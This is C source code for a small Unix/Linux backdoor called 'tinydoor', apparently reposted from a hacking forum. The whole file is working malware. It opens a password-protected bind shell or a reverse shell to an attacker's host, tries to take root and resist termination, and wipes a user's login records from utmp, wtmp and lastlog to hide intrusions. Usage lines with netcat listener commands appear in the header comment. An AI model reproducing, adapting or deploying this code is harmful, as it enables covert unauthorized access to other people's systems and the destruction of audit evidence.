- /*
- * A tiny Unix/Linux backdoor V. 0.3
- * written by W.Z.T welcome to [url]http://www.ncph.net[/url]
- * gcc -o tinydoor tinydoor.c
- * usage:
- * conncet to server:./tinydoor 2006
- nc -vv 127.0.0.1 2006
- * conncet back to server:nc -vv -l -p 2006
- ./tinydoor 127.0.0.1 2006
- * clearn logs:./tinydoor -c root(username)
- * default password is:tthacker,you can change it by yourself
- */
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <sys/wait.h>
- #include <errno.h>
- #include <dirent.h>
- #include <signal.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <unistd.h>
- #include <string.h>
- #include <fcntl.h>
- #include <utmp.h>
- #include <lastlog.h>
- #include <pwd.h>
- #include <sys/socket.h>
- #define WTMP_NAME "/var/log/wtmp"
- #define UTMP_NAME "/var/run/utmp"
- #define LASTLOG_NAME "/var/log/lastlog"
- #define MAXARGS 30
- #define ARGLEN 200
- #define USAGES1 "\nconnected successful.it's a tiny binshell.Good Luck:)\n\n"
- #define USAGES2 "Type \"rshell\" or \"cshell\" or \"myshell\":\n"
- #define RSHELL "\nit's a rootshell\n\n"
- #define CSHELL "\nuse common shell:\n\n"
- #define MYSHELL "\nuse myshell now:\n\n"
- #define ERRORS "\nDo you want to get my shell? FUCK------->"
- #define PASS "tthacker" /* default password */
- #define LOGIN "login:"
- void shell(int sock_id);
- void myshell(void);
- void do_ls(char []);
- void backdoor(char *hosts,char *port); /* connect back to server */
- void bindoor(char *port); /* connect to server */
- void cannot_stop_me(void);
- void clearn_utmp(char *who);
- void clearn_wtmp(char *who);
- void clearn_lastlog(char *who);
- char command[ARGLEN];
- char error1[MAXARGS];
- char type1[MAXARGS];
- char type2[MAXARGS];
- char check[ARGLEN];
- int fp;
- int main(int argc,char *argv[])
- {
- if(argc==3&&!strcmp(argv[1],"-c")){
- clearn_utmp(argv[2]);
- clearn_wtmp(argv[2]);
- clearn_lastlog(argv[2]);
- }
- else{
- backdoor(argv[1],argv[2]);
- }
- if(argc==2){
- bindoor(argv[1]);
- }
- return 0;
- }
- void backdoor(char *hosts,char *port)
- {
- struct sockaddr_in serv_addr;
- struct hostent *host;
- int sock_fd;
- cannot_stop_me();
- if((host=gethostbyname(hosts))==NULL){
- herror("gethostbyname");
- exit(1);
- }
- if((sock_fd=socket(AF_INET,SOCK_STREAM,0))==-1){
- perror("socket");
- exit(1);
- }
- serv_addr.sin_family=AF_INET;
- serv_addr.sin_port=htons(atoi(port));
- serv_addr.sin_addr=*((struct in_addr *)host->h_addr);
- bzero(&(serv_addr.sin_zero),8);
- strcpy(error1,inet_ntoa(INADDR_ANY));
- error1[strlen(error1)]='\0';
- if(connect(sock_fd,(struct sockaddr *)&serv_addr,sizeof(struct sockaddr))==-1){
- perror("conncet");
- exit(1);
- }
- shell(sock_fd);
- }
- void bindoor(char *port)
- {
- int val=1;
- int sock_fd,client_fd;
- struct sockaddr_in my_addr;
- struct sockaddr_in remote_addr;
- int sin_size;
- cannot_stop_me();
- if((sock_fd=socket(AF_INET,SOCK_STREAM,0))==-1){
- perror("socket");
- exit(1);
- }
- if(setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))<0){
- perror("setsockopt");
- }
- my_addr.sin_family=AF_INET;
- my_addr.sin_port=htons(atoi(port));
- my_addr.sin_addr.s_addr=INADDR_ANY;
- bzero(&(my_addr.sin_zero),8);
- if(bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr))==-1){
- perror("bind");
- exit(1);
- }
- if(fork()!=0)
- exit(0);
- setpgrp();
- if(fork()!=0)
- exit(0);
- if(listen(sock_fd,MAXARGS)==-1){
- perror("listen");
- exit(1);
- }
- strcpy(error1,inet_ntoa(remote_addr));
- error1[strlen(error1)]='\0';
- while(1){
- sin_size=sizeof(struct sockaddr_in);
- if((client_fd=accept(sock_fd,(struct sockaddr *)&remote_addr,&sin_size))==-1){
- perror("accept");
- exit(1);
- }
- shell(client_fd);
- }
- }
- void shell(int sock_id)
- {
- write(sock_id,LOGIN,sizeof(LOGIN));
- read(sock_id,check,sizeof(check));
- if(strstr(check,PASS)!=NULL){
- if(!fork()){
- dup2(sock_id,0);
- dup2(sock_id,1);
- dup2(sock_id,2);
- write(1,USAGES1,strlen(USAGES1));
- shell:
- write(1,USAGES2,strlen(USAGES2));
- read(0,type1,ARGLEN);
- if(strstr(type1,"rshell")!=NULL){
- write(1,RSHELL,sizeof(RSHELL));
- execl("/bin/sh","sh",(char *)0);
- goto shell;
- }
- else if(strstr(type1,"cshell")!=NULL){
- write(1,CSHELL,sizeof(CSHELL));
- read(0,type2,ARGLEN);
- type2[strlen(type2-1)]='\0';
- write(1,type2,sizeof(type2));
- do_ls(type2);
- }
- else if(strstr(type1,"myshell")!=NULL){
- write(1,MYSHELL,sizeof(MYSHELL));
- myshell();
- }
- else if(strstr(type1,"exit")!=NULL){
- close(sock_id);
- exit(1);
- }
- else{
- goto shell;
- }
- close(sock_id);
- exit(0);
- }
- }
- else{
- write(sock_id,ERRORS,strlen(ERRORS));
- write(sock_id,error1,strlen(error1));
- close(sock_id);
- }
- close(sock_id);
- }
- void do_ls( char dirname[] )
- {
- DIR *dir_ptr;
- struct dirent *direntp;
- if ( ( dir_ptr = opendir( dirname ) ) == NULL )
- fprintf(stderr,"ls1: cannot open %s\n", dirname);
- else
- {
- while ( ( direntp = readdir( dir_ptr ) ) != NULL )
- printf("%s\n", direntp->d_name );
- closedir(dir_ptr);
- }
- }
- void myshell(void)
- {
- char *arglist[MAXARGS+1];
- int numargs;
- char argbuf[ARGLEN];
- char *makestring();
- numargs = 0;
- while ( numargs < MAXARGS )
- {
- write(1,"command:",strlen("command:"));
- if ( fgets(argbuf, ARGLEN, stdin) && *argbuf != '\n' ){
- if(strstr(argbuf,"exit")!=NULL){
- exit(0);
- }
- arglist[numargs++] = makestring(argbuf);
- }
- else
- {
- if ( numargs > 0 ){
- arglist[numargs]=NULL;
- execute( arglist );
- numargs = 0;
- }
- }
- }
- }
- execute( char *arglist[] )
- {
- int pid,exitstatus;
- pid = fork();
- switch( pid ){
- case -1:
- perror("fork failed");
- exit(1);
- case 0:
- execvp(arglist[0], arglist);
- perror("execvp failed");
- exit(1);
- default:
- while( wait(&exitstatus) != pid )
- ;
- printf("child exited with status %d,%d\n",
- exitstatus>>8, exitstatus&0377);
- }
- }
- char * makestring( char *buf )
- {
- char *cp, *malloc();
- buf[strlen(buf)-1] = '\0';
- cp = malloc( strlen(buf)+1 );
- if ( cp == NULL ){
- fprintf(stderr,"no memory\n");
- exit(1);
- }
- strcpy(cp, buf);
- return cp;
- }
- void cannot_stop_me(void)
- {
- setuid(0);
- setgid(0);
- seteuid(0);
- setegid(0);
- signal(SIGCHLD,SIG_IGN);
- signal(SIGHUP,SIG_IGN);
- signal(SIGTERM,SIG_IGN);
- signal(SIGINT,SIG_IGN);
- signal(SIGKILL,SIG_IGN);
- if(fork())
- exit(0);
- }
- void clearn_utmp(char *who)
- {
- struct utmp ent;
- if((fp=open(UTMP_NAME,O_RDWR))<0){
- perror("open");
- }
- while(read(fp,&ent,sizeof(ent))>0){
- if(!strncmp(ent.ut_user,who,sizeof(ent))){
- bzero((char *)&ent,sizeof(ent));
- lseek(fp,-(sizeof(ent)),SEEK_CUR);
- write(fp,&ent,sizeof(ent));
- }
- }
- printf("clearn %s done.\n",UTMP_NAME);
- }
- void clearn_lastlog(char *who)
- {
- struct passwd *pwd;
- struct lastlog new;
- if((pwd=getpwnam(who))==NULL){
- printf("No such user.\n");
- exit(0);
- }
- if((fp=open(LASTLOG_NAME,O_RDWR))<0){
- printf("clearn %s failed\n",LASTLOG_NAME);
- }
- bzero((char *)&new,sizeof(new));
- lseek(fp,(long)pwd->pw_uid*sizeof(struct lastlog),0);
- write(fp,&new,sizeof(new));
- printf("clearn %s done.\n",LASTLOG_NAME);
- close(fp);
- }
- void clearn_wtmp(char *who)
- {
- struct utmp ent;
- if((fp=open(WTMP_NAME,O_RDWR))<0){
- printf("Can't open the file %s \n",WTMP_NAME);
- }
- while(read(fp,&ent,sizeof(ent))>0){
- if(!strncmp(ent.ut_user,who,sizeof(ent))){
- bzero((char *)&ent,sizeof(ent));
- lseek(fp,-(sizeof(ent)),SEEK_CUR);
- write(fp,&ent,sizeof(ent));
- }
- }
- printf("claern %s done.\n",WTMP_NAME);
- close(fp);
- }
复制代码 |